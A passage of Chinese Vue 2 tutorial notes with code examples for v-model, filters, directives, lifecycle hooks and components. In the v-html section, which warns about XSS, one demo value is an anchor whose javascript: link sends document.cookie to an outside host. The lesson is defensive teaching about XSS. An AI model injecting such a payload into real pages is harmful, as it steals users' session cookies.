     (2).重新解析模板,进而更新页面

4.在Vue修改数组中的某个元素一定要用如下方法:

     1.使用这些API:push(),pop(),shift(),unshift().splice().sort(),reverse()

     2.Vue.set()或vm.$set()

特别注意:Vue.set()和vm.$set()不能给vm或vm的根数据对象  添加属性!!!

  1. <div id="root">
  2. <h1>学生信息</h1>
  3. <button @click="student.age++">年龄+1岁</button> <br/>
  4. <button @click="addSex">添加性别属性,默认值:男</button> <br/>
  5. <button @click="student.sex = '未知' ">修改性别</button> <br/>
  6. <button @click="addFriend">在列表首位添加一个朋友</button> <br/>
  7. <button @click="updateFirstFriendName">修改第一个朋友的名字为:张三</button> <br/>
  8. <button @click="addHobby">添加一个爱好</button> <br/>
  9. <button @click="updateHobby">修改第一个爱好为:开车</button> <br/>
  10. <button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/>
  11. <h3>姓名:{{student.name}}</h3>
  12. <h3>年龄:{{student.age}}</h3>
  13. <h3 v-if="student.sex">性别:{{student.sex}}</h3>
  14. <h3>爱好:</h3>
  15. <ul>
  16. <li v-for="(h,index) in student.hobby" :key="index">
  17. {{h}}
  18. </li>
  19. </ul>
  20. <h3>朋友们:</h3>
  21. <ul>
  22. <li v-for="(f,index) in student.friends" :key="index">
  23. {{f.name}}--{{f.age}}
  24. </li>
  25. </ul>
  26. </div>
  27. const vm = new Vue({
  28. el:'#root',
  29. data:{
  30. student:{
  31. name:'tom',
  32. age:18,
  33. hobby:['抽烟','喝酒','烫头'],
  34. friends:[
  35. {name:'jerry',age:35},
  36. {name:'tony',age:36}
  37. ]
  38. }
  39. },
  40. methods: {
  41. addSex(){
  42. // Vue.set(this.student,'sex','男')
  43. this.$set(this.student,'sex','男')
  44. },
  45. addFriend(){
  46. this.student.friends.unshift({name:'jack',age:70})
  47. },
  48. updateFirstFriendName(){
  49. this.student.friends[0].name = '张三'
  50. },
  51. addHobby(){
  52. this.student.hobby.push('学习')
  53. },
  54. updateHobby(){
  55. // this.student.hobby.splice(0,1,'开车')
  56. // Vue.set(this.student.hobby,0,'开车')
  57. this.$set(this.student.hobby,0,'开车')
  58. },
  59. removeSmoke(){
  60. this.student.hobby = this.student.hobby.filter((h)=>{
  61. return h !== '抽烟'
  62. })
  63. }
  64. }
  65. })

收集表单数据

收集表单数据:

     若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。

     若:<input type="radio" /> ,则v-model收集的就是value值,且要给标签配置Value值。

     若:<input type="checkbox"/>  

                1.没有配置input的value属性,那么收集的就是checked(勾选or未勾选,是布尔值)

                2.v-model的初始值就是数组,那么收集的就是value组成的数组

     备注:v-model的三个修饰符:

                lazy:失去焦点再收集数据

                number:输入字符串转为有效的数字

                trim:输入首尾空格过滤

  1. <div id="root">
  2. <form @submit.prevent="demo">
  3. 账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
  4. 密码:<input type="password" v-model="userInfo.password"> <br/><br/>
  5. 年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
  6. 性别:
  7. 男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
  8. 女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
  9. 爱好:
  10. 学习<input type="checkbox" v-model="userInfo.hobby" value="study">
  11. 打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
  12. 吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
  13. <br/><br/>
  14. 所属校区
  15. <select v-model="userInfo.city">
  16. <option value="">请选择校区</option>
  17. <option value="beijing">北京</option>
  18. <option value="shanghai">上海</option>
  19. <option value="shenzhen">深圳</option>
  20. <option value="wuhan">武汉</option>
  21. </select>
  22. <br/><br/>
  23. 其他信息:
  24. <textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
  25. <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
  26. <button>提交</button>
  27. </form>
  28. </div>
  29. new Vue({
  30. el:'#root',
  31. data:{
  32. userInfo:{
  33. account:'',
  34. password:'',
  35. age:18,
  36. sex:'female',
  37. hobby:[],
  38. city:'beijing',
  39. other:'',
  40. agree:''
  41. }
  42. },
  43. methods: {
  44. demo(){
  45. console.log(JSON.stringify(this.userInfo))
  46. }
  47. }
  48. })

过滤器

过滤器:

   定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。

   语法:

      1.注册过滤器:Vue.filter(name.callback)  或new  Vue{filters:{}}

      2.使用过滤器:{{xxx | 过滤器名 }} 或 v-bind:属性="xxx | 过滤器名" 

备注:

       1.过滤器也可以接收额外参数,多个过滤器也可以串联

        2.并没有改变原本的数据,是产生新的对应的数据    

   

  1. <div id="root">
  2. <h2>显示格式化后的时间</h2>
  3. <!-- 计算属性实现 -->
  4. <h3>现在是:{{fmtTime}}</h3>
  5. <!-- methods实现 -->
  6. <h3>现在是:{{getFmtTime()}}</h3>
  7. <!-- 过滤器实现 -->
  8. <h3>现在是:{{time | timeFormater}}</h3>
  9. <!-- 过滤器实现(传参) -->
  10. <h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
  11. <h3 :x="msg | mySlice">尚硅谷</h3>
  12. </div>
  13. <div id="root2">
  14. <h2>{{msg | mySlice}}</h2>
  15. </div>
  16. //全局过滤器
  17. Vue.filter('mySlice',function(value){
  18. return value.slice(0,4)
  19. })
  20. new Vue({
  21. el:'#root',
  22. data:{
  23. time:1621561377603, //时间戳
  24. msg:'你好,尚硅谷'
  25. },
  26. computed: {
  27. fmtTime(){
  28. return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
  29. }
  30. },
  31. methods: {
  32. getFmtTime(){
  33. return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
  34. }
  35. },
  36. //局部过滤器
  37. filters:{
  38. timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
  39. // console.log('@',value)
  40. return dayjs(value).format(str)
  41. }
  42. }
  43. })
  44. new Vue({
  45. el:'#root2',
  46. data:{
  47. msg:'hello,atguigu!'
  48. }
  49. })

内置指令

v-text指令:

我们学过的指令:

   v-bind:单向绑定解析表达式,可简写为 :xxx

   v-model:双向数据绑定

   v-for:遍历数组/对象/字符串

   v-on:绑定事件监听,可简写为@

   v-if:条件渲染(动态控制节点是否存在)

   v-else:条件渲染(动态控制节点是否存在)

   v-show:条件渲染(动态控制节点是否展示)·

v-text指令:

   1.作用:向其所在的节点中渲染文本内容。

   2.与插值语法的区别:v-text会替换掉节点中的内容,{{xxx}}则不会。

  1. div id="root">
  2. <div>你好,{{name}}</div>
  3. <div v-text="name"></div>
  4. <div v-text="str"></div>
  5. </div>
  6. new Vue({
  7. el:'#root',
  8. data:{
  9. name:'尚硅谷',
  10. str:'<h3>你好啊!</h3>'
  11. }
  12. })

v-html指令

v-html指令:

1.作用:向指定节点中渲染包含html结构的内容

2.与插值语法的区别:

       (1) v-html会替换掉节点中的所有内容,{{xxx}}则不行

       (2) v-html可以识别html结构内容

3.严重注意:v-html有安全性问题!!!

        (1)在网点上动态渲染任意HTML是非常危险的,容易导致XSS攻击

        (2)一定要在可信的内容上使用v-html,永不要用在用户提交的内容!

  1. <div id="root">
  2. <div>你好,{{name}}</div>
  3. <div v-html="str"></div>
  4. <div v-html="str2"></div>
  5. </div>
  6. new Vue({
  7. el:'#root',
  8. data:{
  9. name:'尚硅谷',
  10. str:'<h3>你好啊!</h3>',
  11. str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
  12. }
  13. })

v-cloak指令

v-cloak指令(没有值)

    1.本质是一个特殊属性,Vue实列创建完毕并接管容器后,会删掉v-cloak属性

    2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

  1. <style>
  2. [v-cloak]{
  3. display:none;
  4. }
  5. </style>
  6. <div id="root">
  7. <h2 v-cloak>{{name}}</h2>
  8. </div>
  9. <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js">
  10. new Vue({
  11. el:'#root',
  12. data:{
  13. name:'尚硅谷'
  14. }
  15. })

v-once指令

v-once指令:

  1.v-once所在节点在初次动态渲染后,就视为静态内容

   2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能

  1. <div id="root">
  2. <h2 v-once>初始化的n值是:{{n}}</h2>
  3. <h2>当前的n值是:{{n}}</h2>
  4. <button @click="n++">点我n+1</button>
  5. </div>
  6. new Vue({
  7. el:'#root',
  8. data:{
  9. n:1
  10. }
  11. })

v-pre指令

v-pre指令:

  1.跳过其所在节点的编译过程。

 2.可利用它跳过:没有使用指令语法,没有使用插值语法的节点,会加快编译。

  1. <div id="root">
  2. <h2 v-pre>Vue其实很简单</h2>
  3. <h2 >当前的n值是:{{n}}</h2>
  4. <button @click="n++">点我n+1</button>
  5. </div>
  6. new Vue({
  7. el:'#root',
  8. data:{
  9. n:1
  10. }
  11. })

自定义指令

需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。

需求2:定义一个v-fbind指令,和v-bind功能类似。但可以让其所绑定的input元素默认获取焦点

自定义指定总结:

    一.定义语法:

          (1).局部指令:

                    new Vue({

                    directives:{指令名:配置对象}

                     })

          (2)全局指令:

                    Vue.directive(指令名,配置对象) 或Vue.directive(指令名,回调函数)

      二.配置对象中常用的3个回调

           (1).bind:指令与元素成功绑定时调用。

             (2).inserted:指令所在元素被插入页面上调用

           (3)update:指令所在模板结构被重新解析时调用

      三.备注

              (1).指令定义时不加v-,但使用时要加v-

              (2).指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。

  1. <div id="root">
  2. <h2>{{name}}</h2>
  3. <h2>当前的n值是:<span v-text="n"></span> </h2>
  4. <!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
  5. <h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
  6. <button @click="n++">点我n+1</button>
  7. <hr/>
  8. <input type="text" v-fbind:value="n">
  9. </div>
  10. //定义全局指令
  11. /* Vue.directive('fbind',{
  12. //指令与元素成功绑定时(一上来)
  13. bind(element,binding){
  14. element.value = binding.value
  15. },
  16. //指令所在元素被插入页面时
  17. inserted(element,binding){
  18. element.focus()
  19. },
  20. //指令所在的模板被重新解析时
  21. update(element,binding){
  22. element.value = binding.value
  23. }
  24. }) */
  25. new Vue({
  26. el:'#root',
  27. data:{
  28. name:'尚硅谷',
  29. n:1
  30. },
  31. directives:{
  32. //big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
  33. /* 'big-number'(element,binding){
  34. // console.log('big')
  35. element.innerText = binding.value * 10
  36. }, */
  37. big(element,binding){
  38. console.log('big',this) //注意此处的this是window
  39. // console.log('big')
  40. element.innerText = binding.value * 10
  41. },
  42. fbind:{
  43. //指令与元素成功绑定时(一上来)
  44. bind(element,binding){
  45. element.value = binding.value
  46. },
  47. //指令所在元素被插入页面时
  48. inserted(element,binding){
  49. element.focus()
  50. },
  51. //指令所在的模板被重新解析时
  52. update(element,binding){
  53. element.value = binding.value
  54. }
  55. }
  56. }
  57. })

回顾一个DOM操作:

  1. <button id="btn">点我创建一个输入框</button>
  2. const btn = document.getElementById('btn')
  3. btn.onclick = ()=>{
  4. const input = document.createElement('input')
  5. input.className = 'demo'
  6. input.value = 99
  7. input.onclick = ()=>{alert(1)}
  8. document.body.appendChild(input)
  9. input.focus()
  10. // input.parentElement.style.backgroundColor = 'skyblue'
  11. console.log(input.parentElement)
  12. }

生命周期

引出生命周期:

生命周期:

   1.又名:生命周期回调函数,生命周期函数,生命周期钩子

   2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数

   3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。

   4.生命周期函数中的this指向是vm或组件实列对象

  1. <div id="root">
  2. <h2 v-if="a">你好啊</h2>
  3. <h2 :style="{opacity}">欢迎学习Vue</h2>
  4. </div>
  5. new Vue({
  6. el:'#root',
  7. data:{
  8. a:false,
  9. opacity:1
  10. },
  11. methods: {
  12. },
  13. //Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
  14. mounted(){
  15. console.log('mounted',this)
  16. setInterval(() => {
  17. this.opacity -= 0.01
  18. if(this.opacity <= 0) this.opacity = 1
  19. },16)
  20. },
  21. })

分析生命周期:

  1. <div id="root" :x="n">
  2. <h2 v-text="n"></h2>
  3. <h2>当前的n值是:{{n}}</h2>
  4. <button @click="add">点我n+1</button>
  5. <button @click="bye">点我销毁vm</button>
  6. </div>
  7. new Vue({
  8. el:'#root',
  9. // template:`
  10. // <div>
  11. // <h2>当前的n值是:{{n}}</h2>
  12. // <button @click="add">点我n+1</button>
  13. // </div>
  14. // `,
  15. data:{
  16. n:1
  17. },
  18. methods: {
  19. add(){
  20. console.log('add')
  21. this.n++
  22. },
  23. bye(){
  24. console.log('bye')
  25. this.$destroy()
  26. }
  27. },
  28. watch:{
  29. n(){
  30. console.log('n变了')
  31. }
  32. },
  33. beforeCreate() {
  34. console.log('beforeCreate')
  35. },
  36. created() {
  37. console.log('created')
  38. },
  39. beforeMount() {
  40. console.log('beforeMount')
  41. },
  42. mounted() {
  43. console.log('mounted')
  44. },
  45. beforeUpdate() {
  46. console.log('beforeUpdate')
  47. },
  48. updated() {
  49. console.log('updated')
  50. },
  51. beforeDestroy() {
  52. console.log('beforeDestroy')
  53. },
  54. destroyed() {
  55. console.log('destroyed')
  56. },
  57. })

总结生命周期:

常用的生命周期钩子:

   1.mounted:发送ajax请求,启动定时器,绑定自定义事件,订阅消息等【初始化操作】。

   2.beforeDestroy:清楚定时器,解绑自定义事件,取消订阅消息等【收尾工作】。

关于销毁Vue实例:

    1.销毁后借助Vue开发者工具看不到任何消息。

    2.销毁后自定义事件会失效,但原生DOM事件依然有效。

    3.一般不会在beforeDestory操作数据,因为即便操作数据,也不会再触发更新流程。

  1. <div id="root">
  2. <h2 :style="{opacity}">欢迎学习Vue</h2>
  3. <button @click="opacity = 1">透明度设置为1</button>
  4. <button @click="stop">点我停止变换</button>
  5. </div>
  6. new Vue({
  7. el:'#root',
  8. data:{
  9. opacity:1
  10. },
  11. methods: {
  12. stop(){
  13. this.$destroy()
  14. }
  15. },
  16. //Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
  17. mounted(){
  18. console.log('mounted',this)
  19. this.timer = setInterval(() => {
  20. console.log('setInterval')
  21. this.opacity -= 0.01
  22. if(this.opacity <= 0) this.opacity = 1
  23. },16)
  24. },
  25. beforeDestroy() {
  26. clearInterval(this.timer)
  27. console.log('vm即将驾鹤西游了')
  28. },
  29. })

非单文件组件

基本使用

Vue中使用组件的三大步骤:

      一.定义组件(创建组件)

     二.注册组件

     三.使用组件

一.如何定义一个组件?

   使用Vue.extend(option)创建,其中options和new  Vue(options)时传入的那个options几乎一样,但也有点区别;

区别如下:

     1.el不要写,为什么?——最终所有的组件都要经过一个vm的管理,由vm中的el决定服务那个容器。

     2.data必须写成函数,为什么?——避免组件被复用时,数据存在引用关系。

备注:使用template可以配置组件结构。

二.如何注册组件?

     1.局部注册:靠new Vue的时候传入componets选项

     2.全局注册:靠Vue.componet('组件名',组件)

三.编写组件标签

     <school><school/>

   

  1. <div id="root">
  2. <hello></hello>
  3. <hr>
  4. <h1>{{msg}}</h1>
  5. <hr>
  6. <!-- 第三步:编写组件标签 -->
  7. <school></school>
  8. <hr>
  9. <!-- 第三步:编写组件标签 -->
  10. <student></student>
  11. </div>
  12. <div id="root2">
  13. <hello></hello>
  14. </div>
  15. //第一步:创建school组件
  16. const school = Vue.extend({
  17. template:`
  18. <div class="demo">
  19. <h2>学校名称:{{schoolName}}</h2>
  20. <h2>学校地址:{{address}}</h2>
  21. <button @click="showName">点我提示学校名</button>
  22. </div>
  23. `,
  24. // el:'#root', //组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器。
  25. data(){
  26. return {
  27. schoolName:'尚硅谷',
  28. address:'北京昌平'
  29. }
  30. },
  31. methods: {
  32. showName(){
  33. alert(this.schoolName)
  34. }
  35. },
  36. })
  37. //第一步:创建student组件
  38. const student = Vue.extend({
  39. template:`
  40. <div>
  41. <h2>学生姓名:{{studentName}}</h2>
  42. <h2>学生年龄:{{age}}</h2>
  43. </div>
  44. `,
  45. data(){
  46. return {
  47. studentName:'张三',
  48. age:18
  49. }
  50. }
  51. })
  52. //第一步:创建hello组件
  53. const hello = Vue.extend({
  54. template:`
  55. <div>
  56. <h2>你好啊!{{name}}</h2>
  57. </div>
  58. `,
  59. data(){
  60. return {
  61. name:'Tom'
  62. }
  63. }
  64. })
  65. //第二步:全局注册组件
  66. Vue.component('hello',hello)
  67. //创建vm
  68. new Vue({
  69. el:'#root',
  70. data:{
  71. msg:'你好啊!'
  72. },
  73. //第二步:注册组件(局部注册)
  74. components:{
  75. school,
  76. student
  77. }
  78. })

几个注意点

几个注意点:

    1.关于组件名:

        一个单词组成:

               第一种写法(首字母小写):school

               第二种写法(首字母大写):School

       多个单词组成:

             第一种写法(kebab-case命名):my-school

             第二种写法(CamelCase命名):MySchool(需要Vue脚手架支持)

       备注:

            (1).组件名尽可能回避HTML中已有的元素名称,例如:h2,H2都不行。

            (2):可以使用name配置项指定组件在开发者工具中呈现的名字

  2.关于组件标签:

     第一种写法:<school><school/>

     第二种写法:<school/>

3.一个简写方式:

     const school=Vue.extend(options)  可简写为:const school=options

  1. //定义组件
  2. const s = Vue.extend({
  3. name:'atguigu',
  4. template:`
  5. <div>
  6. <h2>学校名称:{{name}}</h2>
  7. <h2>学校地址:{{address}}</h2>
  8. </div>
  9. `,
  10. data(){
  11. return {
  12. name:'尚硅谷',
  13. address:'北京'
  14. }
  15. }
  16. })
  17. new Vue({
  18. el:'#root',
  19. data:{
  20. msg:'欢迎学习Vue!'
  21. },
  22. components:{
  23. school:s
  24. }
  25. })

组件的嵌套

  1. <div id="root">
  2. </div>
  3. //定义student组件
  4. const student = Vue.extend({
  5. name:'student',
  6. template:`
  7. <div>
  8. <h2>学生姓名:{{name}}</h2>
  9. <h2>学生年龄:{{age}}</h2>
  10. </div>
  11. `,
  12. data(){
  13. return {
  14. name:'尚硅谷',
  15. age:18
  16. }
  17. }
  18. })
  19. //定义school组件
  20. const school = Vue.extend({
  21. name:'school',
  22. template:`
  23. <div>
  24. <h2>学校名称:{{name}}</h2>
  25. <h2>学校地址:{{address}}</h2>
  26. <student></student>
  27. </div>
  28. `,
  29. data(){
  30. return {
  31. name:'尚硅谷',
  32. address:'北京'
  33. }
  34. },
  35. //注册组件(局部)
  36. components:{
  37. student
  38. }
  39. })
  40. //定义hello组件
  41. const hello = Vue.extend({
  42. template:`<h1>{{msg}}</h1>`,
  43. data(){
  44. return {
  45. msg:'欢迎来到尚硅谷学习!'
  46. }
  47. }
  48. })
  49. //定义app组件
  50. const app = Vue.extend({
  51. template:`
  52. <div>
  53. <hello></hello>
  54. <school></school>
  55. </div>
  56. `,
  57. components:{
  58. school,
  59. hello
  60. }
  61. })
  62. //创建vm
  63. new Vue({
  64. template:'<app></app>',
  65. el:'#root',
  66. //注册组件(局部)
  67. components:{app}
  68. })

VueComponent

关于VueComponent:

  1.school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。

  2.我们只需要写<school/>或<school></school/>,Vue解析时会帮助我们创建school组件的实例对象,即Vue帮我们执行的:new  VueComponent(options)。

 3.特别注意:每次调用Vue.extend,返回的都是一个个全新的VueComponet!!!

 4.关于this指向:

        (1).组件配置中:

                    data函数,methods函数,watch中的函数,computed中的函数,它们的this均是                          【VueComponent实列对象】

        (2).new  Vue(options)配置中:

                   data函数,methods函数,watch中的函数,computed中的函数,它们的this均是                           【Vue实列对象】

5.VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。

   Vue的实例对象,以后监简称vc

     

  1. <div id="root">
  2. <school></school>
  3. <hello></hello>
  4. </div>
  5. //定义school组件
  6. const school = Vue.extend({
  7. name:'school',
  8. template:`
  9. <div>
  10. <h2>学校名称:{{name}}</h2>
  11. <h2>学校地址:{{address}}</h2>
  12. <button @click="showName">点我提示学校名</button>
  13. </div>
  14. `,
  15. data(){
  16. return {
  17. name:'尚硅谷',
  18. address:'北京'
  19. }
  20. },
  21. methods: {
  22. showName(){
  23. console.log('showName',this)
  24. }
  25. },
  26. })
  27. const test = Vue.extend({
  28. template:`<span>atguigu</span>`
  29. })
  30. //定义hello组件
  31. const hello = Vue.extend({
  32. template:`
  33. <div>
  34. <h2>{{msg}}</h2>
  35. <test></test>
  36. </div>
  37. `,
  38. data(){
  39. return {
  40. msg:'你好啊!'
  41. }
  42. },
  43. components:{test}
  44. })
  45. // console.log('@',school)
  46. // console.log('#',hello)
  47. //创建vm
  48. const vm = new Vue({
  49. el:'#root',
  50. components:{school,hello}
  51. })

 一个重要的内置关系   

1.一个重要的内置关系:VueComponent.prototype._proto_=Vue.prototype

2.为什么要有这个关系:让组件实例对象(vc)可以访问到Vue原型上的属性,方法。

  1. <div id="root">
  2. <school></school>
  3. </div>
  4. Vue.prototype.x = 99
  5. //定义school组件
  6. const school = Vue.extend({
  7. name:'school',
  8. template:`
  9. <div>
  10. <h2>学校名称:{{name}}</h2>
  11. <h2>学校地址:{{address}}</h2>
  12. <button @click="showX">点我输出x</button>
  13. </div>
  14. `,
  15. data(){
  16. return {
  17. name:'尚硅谷',
  18. address:'北京'
  19. }
  20. },
  21. methods: {
  22. showX(){
  23. console.log(this.x)
  24. }
  25. },
  26. })
  27. //创建一个vm
  28. const vm = new Vue({
  29. el:'#root',
  30. data:{
  31. msg:'你好'
  32. },
  33. components:{school}
  34. })
  35. //定义一个构造函数
  36. /* function Demo(){
  37. this.a = 1
  38. this.b = 2
  39. }
  40. //创建一个Demo的实例对象
  41. const d = new Demo()
  42. console.log(Demo.prototype) //显示原型属性
  43. console.log(d.__proto__) //隐式原型属性
  44. console.log(Demo.prototype === d.__proto__)
  45. //程序员通过显示原型属性操作原型对象,追加一个x属性,值为99
  46. Demo.prototype.x = 99
  47. console.log('@',d) */

本站大部分文章、数据、图片均来自互联网,一切版权均归源网站或源作者所有。

如果侵犯了您的权益请来信告知我们删除。邮箱:1451803763@qq.com